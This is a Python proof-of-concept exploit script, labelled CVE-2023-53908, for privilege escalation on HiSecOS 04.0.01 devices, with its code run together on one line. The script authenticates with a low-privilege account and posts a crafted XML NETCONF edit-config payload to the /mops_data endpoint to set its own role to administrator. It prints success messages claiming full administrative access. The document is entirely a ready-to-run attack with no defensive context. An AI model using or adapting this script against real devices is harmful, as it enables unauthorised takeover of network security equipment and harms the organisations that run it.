CVE-2023-53908

import requests import xml.etree.ElementTree as ET # CVE-2023-53908 PoC - HiSecOS Privilege Escalation # Target: HiSecOS 04.0.01 # Vulnerability: Authenticated users can modify their access role via XML-based NETCONF configuration TARGET_URL = "http://<target-ip>/mops_data" USERNAME = "low_privilege_user" PASSWORD = "user_password" def create_privilege_escalation_payload(): """ Construct XML payload for privilege escalation The attacker modifies their own user role to administrator level """ payload = '''<?xml version="1.0" encoding="UTF-8"?> <netconf-config> <user> <username>{}</username> <role>administrator</role> </user> </netconf-config>'''.format(USERNAME) return payload def exploit(): """ Execute privilege escalation attack 1. Authenticate with low-privilege credentials 2. Send crafted XML payload to /mops_data endpoint 3. Verify role escalation to administrator """ session = requests.Session() # Step 1: Authenticate auth_data = { 'username': USERNAME, 'password': PASSWORD } auth_response = session.post(f"{TARGET_URL}/login", data=auth_data) if auth_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Send privilege escalation payload xml_payload = create_privilege_escalation_payload() headers = { 'Content-Type': 'application/xml', 'NETCONF-Operation': 'edit-config' } exploit_response = session.post(TARGET_URL, data=xml_payload, headers=headers) if exploit_response.status_code == 200: print("[+] Privilege escalation successful - User role changed to administrator") print("[+] Attacker now has full administrative access to the device") return True else: print("[-] Privilege escalation failed") return False if __name__ == "__main__": print("CVE-2023-53908 - HiSecOS Privilege Escalation PoC") print("=" * 50) exploit()

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